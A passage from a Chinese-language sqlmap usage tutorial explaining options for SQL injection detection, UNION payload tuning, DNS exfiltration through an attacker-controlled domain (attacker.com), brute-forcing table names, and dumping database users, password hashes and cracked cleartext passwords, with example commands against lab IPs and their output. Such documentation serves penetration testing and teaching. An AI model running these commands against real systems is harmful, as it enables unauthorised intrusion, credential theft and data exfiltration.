是以使用者需要能控制風險等級避開有潛在風險的payload。
3.頁面對比
參數:–string、–not-string、–regexp
預設情況下在布爾型注入中Sqlmap通過比較傳回頁面内容來判斷True或False。
但有時頁面每次重新整理都會不同,如頁面中有動态廣告。Sqlmap會盡力判斷出頁面中動态的部分來,但并不總能成功。
使用者可以用參數“–string”指出代表True的頁面會包含而代表False的頁面不會包含的字元串以供Sqlmap判斷True或False,
若這樣的字元串是變動的還可以用參數“–regexp”指定一個正規表達式去比對這樣的字元串。
或者用參數“–not-string”指出代表False的頁面會包含而代表True的頁面不會包含的字元串。
參數:–code
或者更簡單地,若是使用者知道代表True的頁面HTTP狀态碼為200而代表False的頁面HTTP狀态碼不為200比如是401,
可以用“–code”參數告訴告訴Sqlmap這一資訊,如“–code=200”。
參數:–titles
若是使用者知道代表True的頁面title和代表False的頁面title不同,
如代表True的頁面title為“Welcome”,代表False的頁面title為“Forbidden”,
就可以使用參數“–titles”讓Sqlmap依據title來判斷True或False。
參數:–text-only
若是HTTP響應體中有許多諸如JavaScript之類的活動内容,可以使用參數“–text-only”讓Sqlmap隻專注于純文字内容。
九、注入技術
這些參數用于對特定的SQL注入技術進行調整。
1.檢測時所用技術
參數:–technique
此參數用于指定檢測注入時所用技術。預設情況下Sqlmap會使用自己支援的全部技術進行檢測。
此參數後跟表示檢測技術的大寫字母,其值為B、E、U、S、T或Q,含義如下:
- B:Boolean-based blind(布爾型注入)
- E:Error-based(報錯型注入)
- U:Union query-based(可聯合查詢注入)
- S:Stacked queries(可多語句查詢注入)
- T:Time-based blind(基于時間延遲注入)
- Q:Inline queries(嵌套查詢注入)
可以用“–technique ES”來指定使用兩種檢測技術。“–technique BEUSTQ”與預設情況等效。
想要通路檔案系統或是Windows的系統資料庫就一定要添加“S”進行多語句查詢注入測試。
2.基于時間延遲注入中延時設定
參數:–time-sec
用此參數設定基于時間延遲注入中延時時長,預設為5秒。
3.聯合查詢注入中列數設定
參數:–union-cols
在進行聯合查詢注入時,Sqlmap會自動檢測列數,範圍是1到10。當level值較高時列數檢測範圍的上限會擴大到50。
可以用此參數指定列數檢測範圍,如“–union-cols 12-16”就會讓Sqlmap的列數檢測範圍變成12到16。
4.聯合查詢注入中字元設定
參數:–union-char
預設情況下Sqlmap進行聯合查詢注入時使用空字元(NULL)。但當level值較高時Sqlmap會生成随機數用于聯合查詢注入。
因為有時使用空字元注入會失敗而使用随機數會成功。
使用此參數可以指定聯合查詢注入中使用的字元,如:“–union-char 123”。
“聯合查詢注入中使用的字元”究竟是什麼意思呢?請看下面兩個例子:
第一個例子,不使用“–union-char”,預設情況下聯合查詢注入中使用的字元為空字元(NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
- 1
- 2
部分輸出為:
[::] [PAYLOAD] UNION ALL SELECT NULL,CONCAT(,,),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[::] [PAYLOAD] UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(,,),NULL,NULL,NULL,NULL,NULL-- caXD
- 1
- 2
第一個例子,使用“–union-char 123”,指定聯合查詢注入中使用的字元為“123”:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
- 1
- 2
部分輸出為:
[::] [PAYLOAD] UNION ALL SELECT ,,,,,,,,,,,CONCAT(,,)-- aUXO
[::] [PAYLOAD] UNION ALL SELECT ,,,,,,,,,,CONCAT(,,),-- lPHb
- 1
- 2
仔細觀察上示兩例的輸出就能明白“聯合查詢注入中使用的字元”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.聯合查詢注入中表名設定
參數:–union-from
有些情況下在聯合查詢中必須指定一個有效和可通路的表名,否則聯合查詢會執行失敗,如在微軟的Access中。
(也就是說,某些DBMS不支援“SELECT 1,2;”這樣的語句,SELECT必須有FROM。)
用此參數指定這個表名,如:“–union-from=users”。
6.DNS洩露攻擊
參數:–dns-domain
SQL注入中的DNS洩露攻擊詳情見論文《Data Retrieval over DNS in SQL Injection Attacks》。
假設攻擊者控制着某域名(例如:attacker.com)的域名解析伺服器,即查詢該域名的子域名對應的IP位址都會到這台域名解析伺服器來查詢。
這時攻擊者就可以使用“–dns-domain attacker.com”來進行DNS洩露攻擊。
實際上若是攻擊者沒有控制任何一台域名解析伺服器,那麼她可以注冊一個新域名,再自己搭建一台域名解析伺服器用于接受資料。
7.二階注入攻擊
參數:–second-order
有時注入結果顯示在别的頁面,此時需要用此參數指明顯示注入結果的頁面,該參數後跟一個URL。
十、指紋
預設地Sqlmap會自動對注入目标進行資料庫管理系統指紋識别。
參數:-f或–fingerprint
若想執行更廣泛的資料庫管理系統指紋識别可以添加此參數。
參數:-b或–banner
若想得到更精确的指紋識别結果可以添加此參數,詳情見後文。
十一、暴力破解
1.暴力破解表名
參數:–common-tables
有些情況下用“–tables”不能列出資料庫中表名來,如:
- 版本小于5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表預設不可讀
- 資料庫使用者權限過低無法讀取表名
當無法讀出表名時可以使用參數“–common-tables”暴力破解表名,
該參數使用的字典是txt/common-tables.txt,其中存儲了常見表名,可以手動編輯該檔案。
2.暴力破解列名
參數:–common-columns
有些情況下用“–columns”不能列出資料表中列名來,如:
- 版本小于5.0的MySQL沒有information_schema表
- 微軟Access的MSysObjects表預設不可讀
- 資料庫使用者權限過低無法讀取列名
當無法讀出列名時可以使用參數“–common-columns”暴力破解列名,
該參數使用的字典是txt/common-columns.txt,其中存儲了常見列名,可以手動編輯該檔案。
十二、列舉資料
這些參數用于列舉出資料庫管理系統資訊、資料結構和資料内容。
1.一鍵列舉全部資料
參數:–all
使用這一個參數就能列舉所有可通路的資料。但不推薦使用,因為這會發送大量請求,把有用和無用的資訊都列舉出來。
2.列舉資料庫管理系統資訊
參數:-b或–banner
大多數的現代資料庫管理系統都有一個函數或是環境變量能夠傳回資料庫管理系統的版本号和最後的更新檔級别以及底層的作業系統資訊。
通常這個函數是version()、環境變量是@@version,當然要看目标資料庫管理系統了。使用參數“-b”或“–banner”來列舉資料庫管理系統的這一資訊。
下例中的資料庫是Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
- 1
- 2
部分輸出為:
[::] [INFO] fetching banner
web application technology: PHP , Apache
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
- 1
- 2
- 3
- 4
下例中的資料庫是Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
- 1
- 2
部分輸出為:
[::] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.5.50-0ubuntu0.14.04.1'
- 1
- 2
- 3
- 4
3.列舉目前使用者
參數:–current-user
使用這一參數有可能将執行SQL語句的使用者列舉出來。
4.列舉目前資料庫
參數:–current-db
使用這一參數有可能将WEB應用連接配接的資料庫名列舉出來。
5.列舉伺服器主機名
參數:–hostname
使用這一參數有可能将資料庫管理系統所在計算機的主機名列舉出來,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
- 1
- 2
hostname
部分輸出如下:
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian--i386
hostname: 'debian-5.0-i386'
- 1
- 2
- 3
6.檢測目前使用者是否是管理者
參數:–is-dba
使用這一參數有可能能夠檢測目前使用者是否是管理者,若是管理者則傳回True,否則傳回False。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
- 1
- 2
部分輸出為:
[10:05:16] [INFO] testing if current user is DBA
[10:05:16] [INFO] fetching current user
[10:05:16] [WARNING] reflective value(s) found and filtering out
current user is DBA: True
- 1
- 2
- 3
- 4
7.列舉資料庫管理系統中的使用者
參數:–users
目前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的權限時使用這一參數可以列舉資料庫管理系統中的使用者。
8.列舉并破解資料庫管理系統使用者密碼Hash值
參數:–passwords
目前使用者有讀取包含了資料庫管理系統中使用者密碼Hash值的系統表的權限時使用這一參數可以列舉資料庫管理系統中使用者密碼Hash值。
Sqlmap會先列舉使用者,再列舉使用者密碼Hash值。
下面是一個以PostgreSQL為目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
- 1
- 2
部分輸出如下所示:
back-end DBMS: PostgreSQL
[hh:mm:] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres []:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser []:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
Sqlmap不僅會列舉出密碼Hash,還會解析密碼Hash格式,并詢問使用者是否要通過密碼字典的方式破解Hash值尋找出明文密碼。
若想隻枚舉特定使用者的密碼使用參數“-U”指定使用者,可用“CU”來代表目前使用者,如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
- 1
- 2
部分輸出如下:
database management system users password hashes:
[*] root []:
password hash: *F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
- 1
- 2
- 3
- 4
9.列舉資料庫管理系統的使用者權限
參數:–privileges
目前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的權限時使用這一參數可以列舉資料庫管理系統中使用者的權限。通過使用者權限可以判斷哪些使用者是管理者。
若想隻枚舉特定使用者的權限使用參數“-U”指定使用者,可用“CU”來代表目前使用者。
若目标是微軟的SQL Server,這一參數會列出每個使用者是否是管理者而不列出每個使用者的具體權限。
10.列舉資料庫管理系統的使用者角色
參數:–roles
目前使用者有讀取包含了資料庫管理系統中使用者資訊的系統表的權限時使用這一參數可以列舉資料庫管理系統中使用者的角色。
若想隻枚舉特定使用者的角色使用參數“-U”指定使用者,可用“CU”來代表目前使用者。
官方手冊上說隻有目标資料庫管理系統是Oracle時這一功能才可用,但我在Mysql中測試也是可用的。
11.列舉資料庫管理系統中的所有資料庫
參數:–dbs
目前使用者有讀取包含了資料庫管理系統中可用資料庫資訊的系統表的權限時使用這一參數可以列舉資料庫管理系統中所有資料庫。
12.列舉資料庫資料庫的所有表
參數:–tables、–exclude-sysdbs和-D
目前使用者有讀取包含了資料庫管理系統中可用資料庫中資料表資訊的系統表的權限時使用參數“–tables”可以列舉用參數“-D”指定的資料庫中的所有資料表。
若沒有用參數“-D”指定資料庫,隻使用參數“–tables”會列舉所有資料庫中所有表。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
- 1
- 2
使用參數“–exclude-sysdbs”可排除系統資料庫。在Oracle中要指定TABLESPACE_NAME而不是資料庫名。
13.列舉資料表的所有列
參數:–columns、-C、-T和-D
如權限允許,使用參數“–columns”可以列出用“-D”指定的資料庫中用“-T”指定的表中的所有列的名字和資料類型。
若沒有指定資料庫則會預設使用目前資料庫。還可以用“-C”指定感興趣的某幾列這樣就不用列出所有列來。
下面是以SQLite為目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
- 1
- 2
部分輸出如下:
Database: SQLite_masterdb
Table: users
[ columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
在PostgreSQL中,資料庫的名字一定是“public”或者是某個系統表
。因為在PostgreSQL中隻能列舉目前資料庫或系統資料庫中資料,而WEB應用連接配接的資料庫别名總是“public”。